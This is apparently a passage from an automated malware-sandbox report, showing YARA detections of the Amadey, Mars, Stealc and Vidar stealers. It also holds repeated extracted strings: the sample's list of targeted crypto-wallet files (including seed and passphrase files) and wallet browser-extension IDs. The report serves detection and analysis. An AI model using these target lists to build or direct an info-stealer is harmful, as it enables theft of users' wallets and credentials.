Source: Amcache.hve.15.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.15.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 31.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.IIEBGIDAAF.exe.950000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.explorti.exe.eb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001F.00000003.3358486164.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.1461294563.0000000004DA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.1554184729.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.3398743541.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2760825261.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000003.2159802976.0000000005680000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.1461422142.00000000054F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.1594528024.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1501843736.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.1451020553.0000000000951000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.3674990302.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2200078602.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1409122508.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2801578780.0000000000EB1000.00000040.00000001.01000000.0000000D.sdmp, type: MEMORY

Yara detected Mars stealer

Source: Yara match	File source: 23.2.dca3d29d0f.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3752, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dca3d29d0f.exe PID: 1748, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 23.2.dca3d29d0f.exe.5f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1379707734.0000000000061000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.1570820733.00000000005F1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3752, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MetaMask\|djclckkglechooblngghdinmeemkbgci\|1\|0\|0\|MetaMask\|ejbalbakoplchlghecdalmeeeajnimhm\|1\|0\|0\|MetaMask\|nkbihfbeogaeaoehlefnkodbefgpgknn\|1\|0\|0\|TronLink\|ibnejdfjmmkpcnlpebklmnkoeoihofec\|1\|0\|0\|Binance Wallet\|fhbohimaelbohpjbbldcngcnapndodjp\|1\|0\|0\|Yoroi\|ffnbelfdoeiohenkjibnmadjiehjhajb\|1\|0\|0\|Coinbase Wallet extension\|hnfanknocfeofbddgcijnmhnfnkdnaad\|1\|0\|1\|Guarda\|hpglfhgfnhbgpjdenjgmdgoeiappafln\|1\|0\|0\|Jaxx Liberty\|cjelfplplebdjjenllpjcblmjkfcffne\|1\|0\|0\|iWallet\|kncchdigobghenbbaddojjnnaogfppfj\|1\|0\|0\|MEW CX\|nlbmnnijcnlegkjjpcfjclmcfggfefdm\|1\|0\|0\|GuildWallet\|nanjmdknhkinifnkgdcggcfnhdaammmj\|1\|0\|0\|Ronin Wallet\|fnjhmkhhmkbjkkabndcnnogagogbneec\|1\|0\|0\|NeoLine\|cphhlgmgameodnhkjdmkpanlelnlohao\|1\|0\|0\|CLV Wallet\|nhnkbkgjikgcigadomkphalanndcapjk\|1\|0\|0\|Liquality Wallet\|kpfopkelmapcoipemfendmdcghnegimn\|1\|0\|0\|Terra Station Wallet\|aiifbnbfobpmeekipheeijimdpnlpgpp\|1\|0\|0\|Keplr\|dmkamcknogkgcdfhhbddcghachkejeap\|1\|0\|0\|Sollet\|fhmfendgdocmcbmfikdcogofphimnkno\|1\|0\|0\|Auro Wallet(Mina Protocol)\|cnmamaachppnkjgnildpdmkaakejnhae\|1\|0\|0\|Polymesh Wallet\|jojhfeoedkpkglbfimdfabpdfjaoolaf\|1\|0\|0\|ICONex\|flpiciilemghbmfalicajoolhkkenfel\|1\|0\|0\|Coin98 Wallet\|aeachknmefphepccionboohckonoeemg\|1\|0\|0\|EVER Wallet\|cgeeodpfagjceefieflmdfphplkenlfk\|1\|0\|0\|KardiaChain Wallet\|pdadjkfkgcafgbceimcpbkalnfnepbnk\|1\|0\|0\|Rabby\|acmacodkjbdgmoleebolmdjonilkdbch\|1\|0\|0\|Phantom\|bfnaelmomeimhlpmgjnjophhpkkoljpa\|1\|0\|0\|Brave Wallet\|odbfpeeihdkbihmopkbjmoonfanlbfcl\|1\|0\|0\|Oxygen\|fhilaheimglignddkjgofkcbgekhenbh\|1\|0\|0\|Pali Wallet\|mgffkfbidihjpoaomajlbgchddlicgpn\|1\|0\|0\|BOLT X\|aodkkagnadcbobfpggfnjeongemjbjca\|1\|0\|0\|XDEFI Wallet\|hmeobnfnfcmdkdcmlblgagmfpfboieaf\|1\|0\|0\|Nami\|lpfcbjknijpeeillifnkikgncikgfhdo\|1\|0\|0\|Maiar DeFi Wallet\|dngmlblcodfobpdpecaadgfbcggfjfnm\|1\|0\|0\|Keeper Wallet\|lpilbniiabackdjcionkobglmddfbcjo\|1\|0\|0\|Solflare Wallet\|bhhhlbepdkbapadjdnnojkbgioiodbic\|1\|0\|0\|Cyano Wallet\|dkdedlpgdmmkkfjabffeganieamfklkm\|1\|0\|0\|KHC\|hcflpincpppdclinealmandijcmnkbgn\|1\|0\|0\|TezBox\|mnfifefkajgofkcjkemidiaecocnkjeh\|1\|0\|0\|Temple\|ookjlbkiijinhpmnjffcofjonbfbgaoc\|1\|0\|0\|Goby\|jnkelfanjkeadonecabehalmbgpfodjm\|1\|0\|0\|Ronin Wallet\|kjmoohlgokccodicjjfebfomlbljgfhk\|1\|0\|0\|Byone\|nlgbhdfgdhgbiamfdfmbikcdghidoadd\|1\|0\|0\|OneKey\|jnmbobjmhlngoefaiojfljckilhhlhcj\|1\|0\|0\|DAppPlay\|lodccjjbdhfakaekdiahmedfbieldgik\|1\|0\|0\|SteemKeychain\|jhgnbkkipaallpehbohjmkbjofjdmeid\|1\|0\|0\|Braavos Wallet\|jnlgamecbpmbajjfhmmmlhejkemejdma\|1\|0\|0\|Enkrypt\|kkpllkodjeloidieedojogacfhpaihoh\|1\|1\|1\|OKX Wallet\|mcohilncbfahbmgdjkbpemcciiolgcge\|1\|0\|0\|Sender Wallet\|epapihdplajcdnnkdeiahlgigofloibg\|1\|0\|0\|Hashpack\|gjagmgiddbbciopjhllkdnddhcglnemk\|1\|0\|0\|Eternl\|kmhcihpebfmpgmihbkipmjlmmioameka\|1\|0\|0\|Pontem Aptos Wallet\|phkbamefinggmakgklpkljjmgibohnba\|1\|0\|0\|Petra Aptos Wallet\|ejjladinnckdgjemekebdpeokbikhfci\|1\|0\|0\|Martian Aptos Wallet\|efbglgofoippbgcjepnhiblaibcnclgk\|1\|0\|0\|Finnie\|cjmkndjhnagcfbpiemnkdpomccnjblmj\|1\|0\|0\|Leap Terra Wallet\|aijcbedoijmgnlmjeegjaglmepbmpkpi\|1\|0\|0\|Trezor Password Manager\|imloifkgjagghnncjkhggdhalmcnfklk\|1\|0\|0\|Authenticator\|bhghoamapcdpbohphigoooaddinpkbai\|1\|0\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: allets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger 